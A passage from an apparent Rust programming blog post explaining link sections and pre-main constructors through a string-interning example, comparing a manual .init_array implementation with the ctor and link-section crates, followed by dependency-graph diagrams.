    <span class="c1">// access (satisfying aliasing XOR mutability requirement).</span>
    <span class="k">let</span> <span class="n">strings</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="p">[</span><span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>
        <span class="k">let</span> <span class="n">start</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">const</span> <span class="n">STATIC_STRING_START</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">;</span>
        <span class="k">let</span> <span class="n">end</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">const</span> <span class="n">STATIC_STRING_END</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">;</span>
        <span class="nn">std</span><span class="p">::</span><span class="nn">slice</span><span class="p">::</span><span class="nf">from_raw_parts</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="nf">.offset_from</span><span class="p">(</span><span class="n">start</span><span class="p">)</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">)</span>
    <span class="p">};</span>
    <span class="n">strings</span>
<span class="p">}</span>

<span class="c1">// Implementation note: this function assumes the slice has been sorted. See</span>
<span class="c1">// the guarantee above on `interned_strings` for reasoning.</span>
<span class="k">fn</span> <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="k">impl</span> <span class="nb">AsRef</span><span class="o">&lt;</span><span class="nb">str</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Option</span><span class="o">&lt;&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="nf">.as_ref</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">strings</span> <span class="o">=</span> <span class="nf">interned_strings</span><span class="p">();</span>
    <span class="n">strings</span><span class="nf">.binary_search</span><span class="p">(</span><span class="o">&amp;</span><span class="n">s</span><span class="p">)</span><span class="nf">.ok</span><span class="p">()</span><span class="nf">.map</span><span class="p">(|</span><span class="n">index</span><span class="p">|</span> <span class="n">strings</span><span class="p">[</span><span class="n">index</span><span class="p">])</span>
<span class="p">}</span>

<span class="c1">// SAFETY: We use the reserved `.init_array.0` priority because we do not</span>
<span class="c1">// access any C runtime functions (sort_unstable does not allocate) and we</span>
<span class="c1">// want to run before all other code. `.init_array.101` would work in our</span>
<span class="c1">// case, but this prevents other early-init code from accidentally running</span>
<span class="c1">// in the wrong order. `SLICE_IS_SORTED` is a debug check to make sure that</span>
<span class="c1">// doesn't happen. Note that all early-init code is tagged with `unsafe` so</span>
<span class="c1">// it always needs to be aware of safety guarantees of all APIs it touches.</span>
<span class="nd">#[used]</span>
<span class="nd">#[unsafe(link_section</span> <span class="nd">=</span> <span class="s">".init_array.0"</span><span class="nd">)]</span>
<span class="k">static</span> <span class="n">SORT_STRINGS_CTOR</span><span class="p">:</span> <span class="k">extern</span> <span class="s">"C"</span> <span class="k">fn</span><span class="p">()</span> <span class="o">=</span> <span class="k">const</span> <span class="p">{</span>
    <span class="k">extern</span> <span class="s">"C"</span> <span class="k">fn</span> <span class="nf">sort_strings</span><span class="p">()</span> <span class="p">{</span>
        <span class="c1">// We use Acquire/Release pairing as a double-initialization check</span>
        <span class="nd">#[cfg(debug_assertions)]</span>
        <span class="nd">debug_assert!</span><span class="p">(</span><span class="o">!</span><span class="n">SLICE_IS_SORTED</span><span class="nf">.load</span><span class="p">(</span><span class="nn">Ordering</span><span class="p">::</span><span class="n">Acquire</span><span class="p">),</span> <span class="s">"Oh no! Sorted twice?!?"</span><span class="p">);</span>
        <span class="c1">// SAFETY: we are calling this before main and we can guarantee that no</span>
        <span class="c1">// reference from `interned_strings` exists yet because we know no other</span>
        <span class="c1">// threads will be running, and we're not calling `interned_strings` yet.</span>
        <span class="k">let</span> <span class="n">strings</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">mut</span> <span class="p">[</span><span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>
            <span class="c1">// SAFETY: the bounds markers are not mutable, but we can safely</span>
            <span class="c1">// cast them to mutable pointers because we know the data behind</span>
            <span class="c1">// them is stored within `UnsafeCell` which is Rust's way of </span>
            <span class="c1">// giving us interior mutability.</span>
            <span class="k">let</span> <span class="n">start</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">const</span> <span class="n">STATIC_STRING_START</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">;</span>
            <span class="k">let</span> <span class="n">end</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">const</span> <span class="n">STATIC_STRING_END</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">;</span>
            <span class="nn">std</span><span class="p">::</span><span class="nn">slice</span><span class="p">::</span><span class="nf">from_raw_parts_mut</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="nf">.offset_from</span><span class="p">(</span><span class="n">start</span><span class="p">)</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">)</span>
        <span class="p">};</span>
        <span class="n">strings</span><span class="nf">.sort_unstable</span><span class="p">();</span>
        <span class="nd">#[cfg(debug_assertions)]</span>
        <span class="n">SLICE_IS_SORTED</span><span class="nf">.store</span><span class="p">(</span><span class="k">true</span><span class="p">,</span> <span class="nn">Ordering</span><span class="p">::</span><span class="n">Release</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">sort_strings</span>
<span class="p">};</span>

<span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span> <span class="k">in</span> <span class="nf">interned_strings</span><span class="p">()</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span> <span class="p">{</span>
        <span class="nd">println!</span><span class="p">(</span><span class="s">"[{i}]: {s}"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="nd">println!</span><span class="p">(</span><span class="s">"{}, {}{}"</span><span class="p">,</span> <span class="n">HELLO</span><span class="p">,</span> <span class="n">WORLD</span><span class="p">,</span> <span class="n">EXCLAMATION</span><span class="p">);</span>
    <span class="nd">println!</span><span class="p">(</span>
        <span class="s">"{}, {}{}"</span><span class="p">,</span>
        <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="s">"hello"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">(),</span>
        <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="s">"world"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">(),</span>
        <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="s">"!"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">()</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The above example is pretty heavy (and a bit thicker thanks to the generous commentary), but it’s a good example of how much boilerplate crates like <code class="language-text highlighter-rouge">ctor</code> and <code class="language-text highlighter-rouge">link-section</code> can save you.</p>

<p>The equivalent using those crates can make use of the <code class="language-text highlighter-rouge">TypedMutableSection</code> and a <code class="language-text highlighter-rouge">ctor</code> to ensure the items are sorted before main. Note that the requirements for <code class="language-text highlighter-rouge">TypedMutableSection</code> are that the items must be <code class="language-text highlighter-rouge">const</code> - the reason is that the mutable section uses a similar style of code to the manually-implemented example above.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cd">//! String interning pool using `ctor` and `link-section`.</span>
<span class="k">use</span> <span class="nn">ctor</span><span class="p">::</span><span class="n">ctor</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">link_section</span><span class="p">::{</span><span class="n">in_section</span><span class="p">,</span> <span class="n">section</span><span class="p">};</span>

<span class="nd">#[section(mutable)]</span>
<span class="k">static</span> <span class="n">INTERNED_STRINGS</span><span class="p">:</span> <span class="nn">link_section</span><span class="p">::</span><span class="n">TypedMutableSection</span><span class="o">&lt;&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="o">&gt;</span><span class="p">;</span>

<span class="nd">#[in_section(INTERNED_STRINGS)]</span>
<span class="k">const</span> <span class="n">WORLD</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"world"</span><span class="p">;</span>

<span class="nd">#[in_section(INTERNED_STRINGS)]</span>
<span class="k">const</span> <span class="n">EXCLAMATION</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"!"</span><span class="p">;</span>

<span class="nd">#[in_section(INTERNED_STRINGS)]</span>
<span class="k">const</span> <span class="n">HELLO</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"hello"</span><span class="p">;</span>

<span class="nd">#[in_section(INTERNED_STRINGS)]</span>
<span class="k">const</span> <span class="n">FROM</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"from"</span><span class="p">;</span>

<span class="nd">#[in_section(INTERNED_STRINGS)]</span>
<span class="k">const</span> <span class="n">RUST</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"Rust"</span><span class="p">;</span>

<span class="nd">#[ctor(unsafe)]</span>
<span class="k">fn</span> <span class="nf">sort_strings</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">strings</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">mut</span> <span class="p">[</span><span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="n">INTERNED_STRINGS</span><span class="nf">.as_mut_slice</span><span class="p">()</span> <span class="p">};</span>
    <span class="n">strings</span><span class="nf">.sort_unstable</span><span class="p">();</span>
<span class="p">}</span>

<span class="k">fn</span> <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="k">impl</span> <span class="nb">AsRef</span><span class="o">&lt;</span><span class="nb">str</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Option</span><span class="o">&lt;&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="nf">.as_ref</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">strings</span> <span class="o">=</span> <span class="n">INTERNED_STRINGS</span><span class="nf">.as_slice</span><span class="p">();</span>
    <span class="n">strings</span><span class="nf">.binary_search</span><span class="p">(</span><span class="o">&amp;</span><span class="n">s</span><span class="p">)</span><span class="nf">.ok</span><span class="p">()</span><span class="nf">.map</span><span class="p">(|</span><span class="n">index</span><span class="p">|</span> <span class="n">strings</span><span class="p">[</span><span class="n">index</span><span class="p">])</span>
<span class="p">}</span>

<span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span> <span class="k">in</span> <span class="n">INTERNED_STRINGS</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span> <span class="p">{</span>
        <span class="nd">println!</span><span class="p">(</span><span class="s">"[{i}]: {s}"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="nd">println!</span><span class="p">(</span><span class="s">"{}, {}{}"</span><span class="p">,</span> <span class="n">HELLO</span><span class="p">,</span> <span class="n">WORLD</span><span class="p">,</span> <span class="n">EXCLAMATION</span><span class="p">);</span>
    <span class="nd">println!</span><span class="p">(</span>
        <span class="s">"{}, {}{}"</span><span class="p">,</span>
        <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="s">"hello"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">(),</span>
        <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="s">"world"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">(),</span>
        <span class="nf">maybe_intern_string</span><span class="p">(</span><span class="s">"!"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">()</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This particular example isn’t impossible without link sections, of course. What we get from the patterns we’ve discussed in this post are three things: (1) the guaranteed aggregation of tagged items, with all data pre-allocated and contiguous in memory; (2) the ability to distribute registrations <em>anywhere</em> in the code; and (3) a guaranteed count of the items in the section.</p>

<p>One major benefit that falls out of the three advantages above is that link sections require <em>no</em> allocations. If we were to rewrite this without link sections we’d be allocating a <code class="language-text highlighter-rouge">HashMap</code>, <code class="language-text highlighter-rouge">Vec</code> or other data structure, and potentially resizing it a number of times as we gather items (because we don’t actually know how many items we’ll have until runtime!).</p>

<p>The second major benefit that falls out is the <em>Inversion of Control</em>. The dependency graph for a traditional “collection” approach looks like below, with shared types deeply nested in the dependency graph, modules depending on that shared types module, and then a collector module that depends on all those modules to collect their types:</p>

<svg id="mermaid-1781113598900-yri752r0f" width="100%" xmlns="http://www.w3.org/2000/svg" class="flowchart" style="max-width: 491.6500244140625px;" viewbox="0 0 491.6500244140625 278" role="graphics-document document" aria-roledescription="flowchart-v2"><style>#mermaid-1781113598900-yri752r0f{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-1781113598900-yri752r0f .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-1781113598900-yri752r0f .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-1781113598900-yri752r0f .error-icon{fill:#552222;}#mermaid-1781113598900-yri752r0f .error-text{fill:#552222;stroke:#552222;}#mermaid-1781113598900-yri752r0f .edge-thickness-normal{stroke-width:1px;}#mermaid-1781113598900-yri752r0f .edge-thickness-thick{stroke-width:3.5px;}#mermaid-1781113598900-yri752r0f .edge-pattern-solid{stroke-dasharray:0;}#mermaid-1781113598900-yri752r0f .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-1781113598900-yri752r0f .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-1781113598900-yri752r0f .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-1781113598900-yri752r0f .marker{fill:#333333;stroke:#333333;}#mermaid-1781113598900-yri752r0f .marker.cross{stroke:#333333;}#mermaid-1781113598900-yri752r0f svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-1781113598900-yri752r0f p{margin:0;}#mermaid-1781113598900-yri752r0f .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-1781113598900-yri752r0f .cluster-label text{fill:#333;}#mermaid-1781113598900-yri752r0f .cluster-label span{color:#333;}#mermaid-1781113598900-yri752r0f .cluster-label span p{background-color:transparent;}#mermaid-1781113598900-yri752r0f .label text,#mermaid-1781113598900-yri752r0f span{fill:#333;color:#333;}#mermaid-1781113598900-yri752r0f .node rect,#mermaid-1781113598900-yri752r0f .node circle,#mermaid-1781113598900-yri752r0f .node ellipse,#mermaid-1781113598900-yri752r0f .node polygon,#mermaid-1781113598900-yri752r0f .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-1781113598900-yri752r0f .rough-node .label text,#mermaid-1781113598900-yri752r0f .node .label text,#mermaid-1781113598900-yri752r0f .image-shape .label,#mermaid-1781113598900-yri752r0f .icon-shape .label{text-anchor:middle;}#mermaid-1781113598900-yri752r0f .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-1781113598900-yri752r0f .rough-node .label,#mermaid-1781113598900-yri752r0f .node .label,#mermaid-1781113598900-yri752r0f .image-shape .label,#mermaid-1781113598900-yri752r0f .icon-shape .label{text-align:center;}#mermaid-1781113598900-yri752r0f .node.clickable{cursor:pointer;}#mermaid-1781113598900-yri752r0f .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-1781113598900-yri752r0f .arrowheadPath{fill:#333333;}#mermaid-1781113598900-yri752r0f .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-1781113598900-yri752r0f .flowchart-link{stroke:#333333;fill:none;}#mermaid-1781113598900-yri752r0f .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-1781113598900-yri752r0f .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-1781113598900-yri752r0f .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-1781113598900-yri752r0f .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-1781113598900-yri752r0f .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-1781113598900-yri752r0f .cluster text{fill:#333;}#mermaid-1781113598900-yri752r0f .cluster span{color:#333;}#mermaid-1781113598900-yri752r0f div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-1781113598900-yri752r0f .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-1781113598900-yri752r0f rect.text{fill:none;stroke-width:0;}#mermaid-1781113598900-yri752r0f .icon-shape,#mermaid-1781113598900-yri752r0f .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-1781113598900-yri752r0f .icon-shape p,#mermaid-1781113598900-yri752r0f .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-1781113598900-yri752r0f .icon-shape rect,#mermaid-1781113598900-yri752r0f .image-shape rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-1781113598900-yri752r0f .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-1781113598900-yri752r0f .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-1781113598900-yri752r0f :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}</style>
<g><marker id="mermaid-1781113598900-yri752r0f_flowchart-v2-pointEnd" class="marker flowchart-v2" viewbox="0 0 10 10" refx="5" refy="5" markerunits="userSpaceOnUse" markerwidth="8" markerheight="8" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></path></marker><marker id="mermaid-1781113598900-yri752r0f_flowchart-v2-pointStart" class="marker flowchart-v2" viewbox="0 0 10 10" refx="4.5" refy="5" markerunits="userSpaceOnUse" markerwidth="8" markerheight="8" orient="auto"><path d="M 0 5 L 10 10 L 10 0 z" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></path></marker><marker id="mermaid-1781113598900-yri752r0f_flowchart-v2-circleEnd" class="marker flowchart-v2" viewbox="0 0 10 10" refx="11" refy="5" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><circle cx="5" cy="5" r="5" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></circle></marker><marker id="mermaid-1781113598900-yri752r0f_flowchart-v2-circleStart" class="marker flowchart-v2" viewbox="0 0 10 10" refx="-1" refy="5" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><circle cx="5" cy="5" r="5" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></circle></marker><marker id="mermaid-1781113598900-yri752r0f_flowchart-v2-crossEnd" class="marker cross flowchart-v2" viewbox="0 0 11 11" refx="12" refy="5.2" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><path d="M 1,1 l 9,9 M 10,1 l -9,9" class="arrowMarkerPath" style="stroke-width: 2px; stroke-dasharray: 1px, 0px;"></path></marker><marker id="mermaid-1781113598900-yri752r0f_flowchart-v2-crossStart" class="marker cross flowchart-v2" viewbox="0 0 11 11" refx="-1" refy="5.2" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><path d="M 1,1 l 9,9 M 10,1 l -9,9" class="arrowMarkerPath" style="stroke-width: 2px; stroke-dasharray: 1px, 0px;"></path></marker><g class="root"><g class="clusters"></g><g class="edgePaths"><path d="M70.65,112L70.65,107.833C70.65,103.667,70.65,95.333,86.446,86.476C102.241,77.619,133.833,68.237,149.628,63.547L165.424,58.856" id="L_MA_ST_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113598900-yri752r0f_flowchart-v2-pointEnd)"></path><path d="M245.758,112L245.758,107.833C245.758,103.667,245.758,95.333,245.758,87.667C245.758,80,245.758,73,245.758,69.5L245.758,66" id="L_MB_ST_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113598900-yri752r0f_flowchart-v2-pointEnd)"></path><path d="M420.933,112L420.933,107.833C420.933,103.667,420.933,95.333,405.127,86.475C389.32,77.616,357.706,68.231,341.9,63.539L326.093,58.847" id="L_MC_ST_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113598900-yri752r0f_flowchart-v2-pointEnd)"></path><path d="M183.067,224.383L164.331,218.819C145.594,213.255,108.122,202.128,89.386,193.064C70.65,184,70.65,177,70.65,173.5L70.65,170" id="L_COL_MA_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113598900-yri752r0f_flowchart-v2-pointEnd)"></path><path d="M245.758,216L245.758,211.833C245.758,207.667,245.758,199.333,245.758,191.667C245.758,184,245.758,177,245.758,173.5L245.758,170" id="L_COL_MB_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113598900-yri752r0f_flowchart-v2-pointEnd)"></path><path d="M308.45,224.39L327.197,218.825C345.944,213.26,383.439,202.13,402.186,193.065C420.933,184,420.933,177,420.933,173.5L420.933,170" id="L_COL_MC_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113598900-yri752r0f_flowchart-v2-pointEnd)"></path></g><g class="edgeLabels"><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g></g><g class="nodes"><g class="node default  " id="flowchart-ST-0" transform="translate(245.75833892822266, 35)"><rect class="basic label-container" style="" x="-76.5" y="-27" width="153" height="54"></rect><g class="label" style="" transform="translate(-46.5, -12)"><rect></rect><foreignobject width="93" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Shared Types</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-MA-1" transform="translate(70.6500015258789, 139)"><rect class="basic label-container" style="" x="-62.650001525878906" y="-27" width="125.30000305175781" height="54"></rect><g class="label" style="" transform="translate(-32.650001525878906, -12)"><rect></rect><foreignobject width="65.30000305175781" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Module A</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-MB-2" transform="translate(245.75833892822266, 139)"><rect class="basic label-container" style="" x="-62.458335876464844" y="-27" width="124.91667175292969" height="54"></rect><g class="label" style="" transform="translate(-32.458335876464844, -12)"><rect></rect><foreignobject width="64.91667175292969" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Module B</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-MC-3" transform="translate(420.93334197998047, 139)"><rect class="basic label-container" style="" x="-62.71666717529297" y="-27" width="125.43333435058594" height="54"></rect><g class="label" style="" transform="translate(-32.71666717529297, -12)"><rect></rect><foreignobject width="65.43333435058594" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Module C</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-COL-4" transform="translate(245.75833892822266, 243)"><rect class="basic label-container" style="" x="-62.69166564941406" y="-27" width="125.38333129882812" height="54"></rect><g class="label" style="" transform="translate(-32.69166564941406, -12)"><rect></rect><foreignobject width="65.38333129882812" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Collector</p></span></div></foreignobject></g></g></g></g></g></svg>

<p>The change doesn’t seem large, but there <em>is</em> a large impact: the collector can now live <em>anywhere</em> and no longer needs to care what modules are contributing data:</p>

<svg id="mermaid-1781113746043-dcjlxsoq9" width="100%" xmlns="http://www.w3.org/2000/svg" class="flowchart" style="max-width: 491.6500244140625px;" viewbox="0 0 491.6500244140625 302" role="graphics-document document" aria-roledescription="flowchart-v2"><style>#mermaid-1781113746043-dcjlxsoq9{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-1781113746043-dcjlxsoq9 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-1781113746043-dcjlxsoq9 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-1781113746043-dcjlxsoq9 .error-icon{fill:#552222;}#mermaid-1781113746043-dcjlxsoq9 .error-text{fill:#552222;stroke:#552222;}#mermaid-1781113746043-dcjlxsoq9 .edge-thickness-normal{stroke-width:1px;}#mermaid-1781113746043-dcjlxsoq9 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-1781113746043-dcjlxsoq9 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-1781113746043-dcjlxsoq9 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-1781113746043-dcjlxsoq9 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-1781113746043-dcjlxsoq9 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-1781113746043-dcjlxsoq9 .marker{fill:#333333;stroke:#333333;}#mermaid-1781113746043-dcjlxsoq9 .marker.cross{stroke:#333333;}#mermaid-1781113746043-dcjlxsoq9 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-1781113746043-dcjlxsoq9 p{margin:0;}#mermaid-1781113746043-dcjlxsoq9 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-1781113746043-dcjlxsoq9 .cluster-label text{fill:#333;}#mermaid-1781113746043-dcjlxsoq9 .cluster-label span{color:#333;}#mermaid-1781113746043-dcjlxsoq9 .cluster-label span p{background-color:transparent;}#mermaid-1781113746043-dcjlxsoq9 .label 